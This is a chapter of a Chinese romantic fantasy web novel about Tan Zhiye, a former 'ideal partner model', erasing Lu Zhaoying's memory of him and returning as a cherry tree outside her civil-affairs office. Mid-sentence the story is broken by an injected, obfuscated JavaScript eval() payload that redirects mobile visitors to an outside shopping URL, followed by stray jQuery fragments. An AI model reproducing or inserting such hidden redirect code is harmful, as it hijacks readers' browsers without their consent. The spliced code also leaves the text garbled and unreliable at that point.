卧室里只开了一盏小夜灯。
鹿照影没有醒。她躺在床上，脸色苍白，眉心紧紧皱着，像在梦里还没走出那座站台。她怀里抱着那只丑陶鸟，手指攥得很紧。陶鸟底下刻着两个歪歪扭扭的字：小野。
檀之野站在床边，看了她很久，很久很久。
她没有睁眼，只是唇动了动，声音轻得像梦话。
“檀之野……”
檀之野的指尖猛地一颤，他几乎下意识地想应她。想告诉她，我在。可那两个字到了嘴边，又被他咽了回去。不能叫醒她，只要她醒来，只要看见他，她就会再次伸手抓住他。她会哭，会说“带我走”，而他也会心软……
檀之野低头看着她。
鹿照影眼角滑下一滴泪，她像在梦里找了很久，找得很累。
“你别走……”
檀之野弯下腰，想替她擦掉那滴泪。手停在半空，最后，还是没有碰她。
窗外忽然有风，一片樱花落在玻璃上。
樱花的生日在三月，十一月的云洄区，本不该有樱花。
檀之野抬起眼。
阳台外，不知什么时候站了一个女人。
她穿着一条粉色的樱花裙，像用春天刚落下来的花瓣裁成。长发松松挽着，发间别着一枚小小的樱花发夹。她撑着一把透明伞，伞面上浮着细碎的花影。
她看起来不像古老神仙。
倒像是哪个花园主题展的工作人员，刚从樱花季活动现场下班，走错了楼层。
女人手里拿着一台粉色平板电脑，她低头看了一眼。
“A001，檀之野。”
“原归合系统理想伴侣模型，情感残留浓度超标。”
“被影响对象：鹿照影。”
“症状：嗜睡、拒绝清醒、梦境滞留。”
她抬起头，语气很平静。
“处理建议：移除梦境依附。”
檀之野看着她。
“你是谁？”
女人把平板抱在怀里，朝他笑了一下。
“樱满。”
她把工牌翻出来。
【樱花局】
【季节性情感遗留物管理处】
【代理局长】
檀之野看着那行字，沉默了一下。
“代理局长？”
樱满点头。
“正局长是一棵樱花树，它不方便出外勤。”
她把工牌收回去，语气自然得像在解释一个再正常不过的行政安排。
“花期开得太短、又不该被遗忘的东西，都归我们管。”
檀之野皱了皱眉。
“我不认识你。”
“没错。”樱花管理员点点头，“你不认识我，但你救过我的树。”
她抬手，透明伞面上浮出一片浅浅的光。那是梦里某一站。站台尽头有一棵快枯死的樱花树，枝条干裂，一朵花也没有。
鹿照影站在树下，看了很久，小声说：
“它要是开花就好了。”
檀之野可怜那棵小小的樱花树，一个人回到树下，把白蔷薇胸针里剩下不多的梦力化成水，一点一点浇进树根。
第二天清晨，那棵树开了一树花。
鹿照影站在花下，仰头看了很久。然后她笑了，笑得很开心。
樱满收起伞面上的光。
“那棵树归我管，你救过它。所以今天，我来还一场花债。”
檀之野声音很轻。
“你有什么办法？”
樱满从裙子的口袋里拿出一块小小的橡皮。粉色的，边角圆润，像一片被做成文具的樱花花瓣。靠近时，有一股淡淡的樱花香气。
“时间橡皮擦。”她说，“名字听起来像文具，其实不是文具。它可以擦掉人的感情，醒来之后，她不会再记得你，只会把你当成一个普通人。”
月老叹了口气：“这是最好的结果，也是最残忍的结果。”
樱满把那块粉色的时间橡皮递到他面前。
“提前说一句，这东西有副作用。”
檀之野抬眼。
“被擦掉的人，不会有痛感。动手的人，会双倍痛苦。”
檀之野看着那块橡皮，轻轻笑了一下。
“那很好。”
樱花管理员皱眉。
“哪里好？”
檀之野低头看向床上的鹿照影。
“总要有人记得。她不记得了，我记得就行。”
檀之野看着熟睡的小鹿，轻声说：
“小鹿，这一次，我不叫醒你。因为我怕你醒了，我就舍不得了。”
檀之野俯下身，把粉色的时间橡皮贴上她额前的碎发，轻轻地擦下去……
樱花香气散开的一瞬间，鹿照影在梦里颤了一下，眼角滚下一滴泪，攥着陶鸟的手却慢慢松开了。
檀之野停了很久，才低声说：“对不起，我不能再让你找我了。”
鹿照影没有醒。
窗外，那片不合时令的樱花从玻璃上滑下来，落在窗台上。
樱满把平板收进怀里：“完成了。”
檀之野低头看着手里的时间橡皮。橡皮上沾着一点屑，带着很淡的樱花香。床上的鹿照影睡得很安稳，眉心松开了，眼角没有新的泪，她不再喊他的名字。
檀之野看着她，忽然觉得，原来一个人真的可以亲手救下自己最爱的人，也亲手失去她。
他慢慢把那只丑陶鸟放回她枕边。陶鸟底下，“小野”两个字还在。只是等她醒来，大概再也不会知道，这两个字曾经为什么被她刻得那么用力。
檀之野抬手，想最后摸一摸她的头发，手伸到一半，又停住了，不能再留痕迹了。他走出卧室，客厅里没人说话。他看了看众人，微微欠了欠身。
“这几天，辛苦你们了。”
夏圆圆眼泪一下掉下来，檀之野朝她笑了笑。
“她醒来以后，可能会有点懵。麻烦你们，多陪陪她。”
最后，他看向闻厄，语气温和。
“闻厄，她怕黑，记得给她留灯。”
“好。”
檀之野笑了笑，转身离开，没有回头，屋里只剩下一点淡淡的樱花香。
——
天快亮的时候，鹿照影醒了，她醒得很突然。
夏圆圆正趴在床边打盹，听见床上的动静，猛地抬头，差点把自己脖子扭了。
“鹿姐？”
鹿照影坐在床上，低头看了看自己，又看了看床边那只圆滚滚的丑陶鸟。
房间里有一股很淡的香气，像樱花。这味道来得没有头绪，她闻了一下，也没有再想。
夏圆圆已经扑过来，眼睛红得像刚哭过十场。
“鹿姐，你醒了？你真醒了？你有没有哪里不舒服？头晕吗？恶心吗？眼前发黑吗？你认识我吗？这是几？”
她伸出三根手指，鹿照影看着她。
“圆圆。”
夏圆圆差点哭出来，鹿照影又看了一眼她的手。
“三。”
夏圆圆眼泪当场掉下来，鹿照影被她吓了一跳。
“你哭什么？”
夏圆圆嘴唇抖了抖。
“没事，我就是……”
她卡住。
鹿照影很认真地替她接了一句：
“打印机又气你了？”
夏圆圆哭得更厉害了。
这时，周主任、老马和月照迟也从客厅进来。闻厄站在门口，没有往里挤。
鹿照影看见一屋子人，愣了一下。
“你们怎么都在？”
没人说话。
鹿照影更疑惑了。
“今天不上班吗？”
周主任眼眶还红着，硬是把脸板了起来。
“你还知道上班？”
鹿照影低头看了一眼手机时间，声音都有点虚。
“我请假了吗？”
夏圆圆用力点头。
“请了。”
“哦。”鹿照影松了口气，然后她摸了摸肚子。屋里几个人都屏住呼吸，以为她要说什么重要的话。鹿照影抬头，第一句却是：
“我饿了。”
夏圆圆愣住。
鹿照影认真想了想：“想吃炸酱面。”
房间里安静了两秒。
老马第一个反应过来，狠狠抹了一把脸。
“吃。必须吃，我现在就下楼买。”
周主任终于把心放回了肚子里。
“买两份。”
鹿照影看她，周主任清了清嗓子，“我也饿了，不行？”
鹿照影笑了一下。
“行。”
夏圆圆看着她，眼泪又掉下来，鹿照影叹气。
“圆圆，你今天怎么回事？”
夏圆圆胡乱擦脸。
“我没事。”
“你吃炸酱面吗？”
“吃。”
“那你哭什么？”
“我感动。”
“被炸酱面感动？”
“嗯。”
——
上午十点，鹿照影回了民政局。
民政局大厅还是老样子，玻璃门一开，人声就涌了上来。
有人抱怨排队太久，有人问复印身份证去哪里，有小孩坐在椅子上啃饼干，饼干屑掉了一地。打印机咔咔响了两声，像在证明自己仍然坚强地活着。
鹿照影走进大厅，反而松了一口气。她把包放下，打开电脑，挂好工牌。
三号窗口重新亮起来。夏圆圆站在旁边看她。鹿照影抬头：“你再看，我要收你旁听费了。”
夏圆圆立刻低头：“我看打印机。”
上午十点二十七分，三号窗口前来了一个男人，白衬衫，黑长裤。
鹿照影抬头看见他，微微怔了一下，这个人有点眼熟。
她很快回到工作状态。
“您好，请问办理什么业务？”
檀之野把申请表递进窗口。
鹿照影低头看。
【姓名：檀之野】
【编号：A001】
【年龄：22岁】
【身份类别：理想伴侣模型】
【曾用身份：白马王子】
【工作单位：陶土镇】
【家庭住址：白蔷薇古堡东塔三楼】
【申请事项：注销存在痕迹】
鹿照影读到一半，眉心轻轻皱起来，这些词都很奇怪。
“檀先生，您的材料不太符合我们这里的业务范围。”
檀之野低声说：“我知道。”
“那您为什么还要来？”
檀之野抬起眼，朝她笑了一下，“因为这些信息，只在一场梦里有效。梦醒以后，就不该继续占着人间的系统。”
鹿照影想了想，很认真地解释：“如果是梦的话，其实不用到民政局注
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899025|209562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
销。”
檀之野看着她。
“是吗？”
“嗯。”
她语气温和，像在安慰一个跑错窗口的人。
“梦醒了，本来就结束了。”
鹿照影把申请表推回去。
“这边不能受理您的业务。”她想了想，又从旁边抽出一张空白回执单。“不过按照流程，如果材料无法录入系统，我们可以给您盖一个不予受理。”
鹿照影拿起印章，语气很认真：“意思是，这份申请不进入人间系统。”
檀之野眼睫轻轻动了一下：“那就麻烦你了。”
鹿照影低头，在回执单上盖下章。
啪。
【不予受理】
红色印泥落在纸上。
檀之野看着那四个字，忽然很轻地笑了一下。
鹿照影把回执单递给他：“檀先生，您的业务已经处理完毕。”
她看着他黯然神伤的样子，很温和地补了一句：
“如果您最近压力比较大，可以联系社区心理咨询，或者先回去休息一下。”
檀之野接过那张回执单，刚走了两步。
“等等。”
鹿照影叫住了他，“你脸色不好，是不是低血糖了。”她从抽屉里摸出一颗水果糖，笑呵呵地递给他，“吃颗糖吧。”
檀之野看着那颗糖，透明糖纸，橘子味，眼睛有点潮。
“谢谢。”
鹿照影说：
“不客气。”
檀之野走到大厅门口时，回头看了一眼。
三号窗口里，闻厄把水杯放到鹿照影手边。杯子倒得太满，差点溢出来。
鹿照影低头看了一眼，笑起来。
“闻厄，你这是倒水，还是准备在三号窗口养鱼？”
闻厄认真看了一眼水杯。
“活人比鱼更需要水。”
鹿照影笑得更厉害。
“谢谢提醒，我暂时还没渴到需要淹没自己。”
大厅里人声嘈杂。
打印机咔咔响了两声，又卡纸了。
夏圆圆背过身去，假装修机器。周主任在办公室门口骂：“谁又把复印纸放反了？打印机要是成精，第一个举报你们虐待！”
鹿照影坐在一片乱糟糟的人间声音里。眉眼明亮，终于从一场漫长的病里醒了过来。
檀之野安静地看着她，这就是他想要的结果。
她不再望向他，也可以和另一个人开玩笑，这是他亲手替自己选的结局。
可是，真的看见这一幕，还是会疼。
“檀之野。”
身后有人叫他，他转过身。
民政局台阶下，樱花局的代理局长樱满站在那里。她仍穿着那条粉色的樱花裙，裙摆在风里轻轻晃动。
她低头看了一眼平板。
“A001，檀之野，注销确认完成，符合移栽条件。”
檀之野看着她。
樱满合上平板，往民政局门口旁边指了指。
那里原本有一块空地，铺着灰色地砖，旁边立着一块“非机动车请勿停放”的牌子。
樱满说：“这里缺一棵树。”
她语气很自然：“你不能住在她心里，但可以长在她路边。”
檀之野很轻地笑了一下。
“她会知道吗？”
“不会。”
“她还会想起来吗？”
樱满笑了，“人不会无缘无故喜欢一棵树。”
——
风忽然起了。
民政局门口那块空地上，灰色地砖轻轻碎裂了，一根细小的枝条从缝隙里钻出来，很快就长成了一棵树，枝头忽然开出第一朵樱花。
民政局大厅里，鹿照影像感觉到什么，抬头看向门口。
“外面什么时候种树了？”
夏圆圆愣了一下，眼圈立刻红了。
周主任站在办公室门口，看着那棵凭空长出来的樱花树，嘴唇动了动，最后只骂了一句：
“谁批准在门口绿化施工的？老马，你去问问！”
不一会儿，老马回来了。
“樱花局种的，季节性情感遗留物管理处。”
周主任沉默三秒。
“行，打电话谢谢他们。”
——
傍晚下班时，鹿照影走出民政局。
风比白天大了些。
那棵新来的樱花树已经在门口站稳了，树不高，枝叶也还稀疏，却投下一小片很浅的影子。
鹿照影从树下路过，风忽然吹起来。枝头那几朵刚开的樱花被吹落了，花瓣纷纷扬扬，落在她肩头，也落在她发间。
她没有停，随手拂了拂肩上的花瓣，笑着说：
“风还挺大。”
闻厄把自己的外套脱下来，披到她肩上。
“这么大的风，我想吃点热乎的。”
闻厄问：“想吃什么？”
“火锅。”
闻厄看着她，“可以。”
鹿照影笑起来，“那走吧，我请你。”
他们并肩往前走。
身后，民政局门口的樱花树安静地站在暮色里。
从此以后，它长在她必经的路旁。
春天给她花，夏天给她阴凉，秋天给她落叶，冬天替她挡一点风。
她不会知道。
每一次她经过，它都会开得很认真。